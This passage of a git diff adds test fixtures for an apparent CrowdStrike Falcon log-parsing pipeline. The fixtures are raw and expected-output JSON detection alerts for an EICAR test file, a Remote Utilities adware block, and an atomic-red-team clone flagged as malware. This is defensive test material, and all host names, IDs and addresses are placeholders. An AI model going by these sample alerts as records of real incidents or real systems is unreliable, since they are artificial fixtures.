_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","MitreAttack":[{"Tactic":"Execution","Technique":"User Execution","PatternID":10418}]},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json new file mode 100644 index 0000000000..758781333e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json @@ -0,0 +1,3117 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902", + "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe", + "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", + "DataDomains": "Endpoint", + "Description": "This file is classified as Adware/PUP based on its SHA256 hash.", + "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe", + "GrandparentImageFileName": "services.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe", + "HostGroups": [ + "ba7f8041fd6c47dcae4cff3194861088", + "c8d1292a8a904216aa25ab728f4b45fd" + ], + "IOCType": "hash_sha256", + "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", + "MACAddress": "01-23-45-67-89-ab", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "rutserv.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2048, + "PatternId": "5728", + "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "EppDetectionSummaryEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Prevention, process was blocked from execution.", + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\"}}", + "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "848a53dc549be0386e5da0f49700c389", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976" + }, + "name": "rfusclient.exe", + "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe" + }, + "host": { + "domain": "OVAC", + "name": "DESKTOP1111" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Program", + "Files", + "(x86)\\Remote", + "Utilities", + "-", + "Host\\rfusclient.exe\"", + "/rsession" + ], + "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession", + "end": "2024-06-10T15:18:35.000Z", + "entity_id": "43009301133", + "executable": "\"C:\\Program", + "name": "rfusclient.exe", + "parent": { + "args": [ + "\"C:\\Program", + "Files", + "(x86)\\Remote", + "Utilities", + "-", + "Host\\rutserv.exe\"" + ], + "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"", + "entity_id": "25841449898", + "executable": "\"C:\\Program", + "pid": 25841449898 + }, + "pid": 43009301133, + "start": "2024-06-10T15:18:35.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", + "848a53dc549be0386e5da0f49700c389" + ], + "hosts": [ + "DESKTOP1111" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "USER11111" + ] + }, + "rule": { + "name": "NGAV" + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "PUP" + ] + } + }, + "user": { + "name": "USER11111" + } + }, + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", + "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", + "DataDomains": "Endpoint", + "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", + "FilesWritten": [ + { + "FileName": "test_upx_header_changed", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "test_upx", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcessWithPipe.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "msys-2.0.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "calc.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.011_x64.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "EtwpCreateEtwThread.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcess.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1036.003.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + } + ], + "GrandparentCommandLine": "/usr/sbin/sshd -D -R", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "HostGroups": [ + "44be50f58ccfcfcfcfcfcfcfcffc" + ], + "MACAddress": "02-42-d8-66-fe-03", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "bash", + "ParentImageFilePath": "/usr/bin/bash", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 272, + "PatternId": "30115", + "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "EppDetectionSummaryEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, process would have been killed if related prevention policy setting was enabled.", + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\"}}", + "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "675853ca01ec441df7a015b91a7e1272", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" + }, + "name": "git", + "path": "/usr/bin/git" + }, + "host": { + "name": "linux-vm" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "git", + "clone", + "https://github.com/redcanaryco/atomic-red-team.git" + ], + "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", + "entity_id": "1719309930613520072", + "executable": "git", + "name": "git", + "parent": { + "args": [ + "-bash" + ], + "command_line": "-bash", + "entity_id": "1719308637781199091", + "executable": "-bash", + "pid": 1719308637781199091 + }, + "pid": 1719309930613520072, + "start": "2024-06-25T10:05:30.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", + "675853ca01ec441df7a015b91a7e1272" + ], + "hosts": [ + "linux-vm" + ], + "ip": [ + "172.17.0.1" + ], + "user": [ + "azureuser" + ] + }, + "rule": { + "name": "Known Malware" + }, + "source": { + "ip": "172.17.0.1" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Malware" + ] + }, + "technique": { + "name": [ + "Malicious File" + ] + } + }, + "user": { + "name": "azureuser" + } + }, + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "CompositeId": "7da61e27e34f4b8394081896af72e2c7", + "DataDomains": "Endpoint", + "HostGroups": [ + "2a5927e82d644aa9", + "be74ccf2c2f444cf900" + ], + "MACAddress": "88-44-66-77-11-22", + "Objective": "Falcon Detection Method", + "SensorId": "1122025ec596478d830520000000000", + "Severity": 70, + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ods" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "EppDetectionSummaryEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"123123abcd\",\"offset\":1,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1686845212400,\"version\":\"1.0\"},\"event\":{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\"}}", + "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections", + "type": [ + "info" + ] + }, + "file": { + "hash": { + "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" + }, + "name": "testfile.vmx", + "path": "D:\\RECYCLER\\testpath\\testfile.vmx" + }, + "host": { + "name": "FRHOSTNAME" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "name": "testfile.vmx" + }, + "related": { + "hash": [ + "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" + ], + "hosts": [ + "FRHOSTNAME" + ], + "ip": [ + "81.2.69.144" + ] + }, + "rule": { + "name": "OnDemandScanfiletest" + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Machine Learning" + ] + }, + "technique": { + "name": [ + "Sensor-based ML" + ] + } + } + }, + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", + "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", + "DataDomains": "Endpoint", + "Description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", + "FilesWritten": [ + { + "FileName": "test_upx_header_changed", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "test_upx", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcessWithPipe.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "msys-2.0.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "calc.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.011_x64.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "EtwpCreateEtwThread.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcess.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1036.003.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + } + ], + "GrandparentCommandLine": "/usr/sbin/sshd -D -R", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "HostGroups": [ + "44be50f58ccfcfcfcfcfcfcfcffc" + ], + "LocalIPv6": "2a02:cf40::", + "MACAddress": "02-42-d8-66-fe-03", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "bash", + "ParentImageFilePath": "/usr/bin/bash", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": false, + "QuarantineFile": false, + 